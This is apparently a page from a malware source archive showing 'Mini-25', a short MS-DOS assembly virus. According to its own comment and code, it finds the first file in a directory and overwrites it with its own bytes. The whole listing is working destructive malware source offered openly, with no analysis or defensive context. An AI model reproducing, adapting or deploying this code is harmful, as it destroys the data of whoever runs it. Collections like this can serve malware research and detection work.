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vxug-MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow8.asm
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21 lines
406 B
NASM

;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main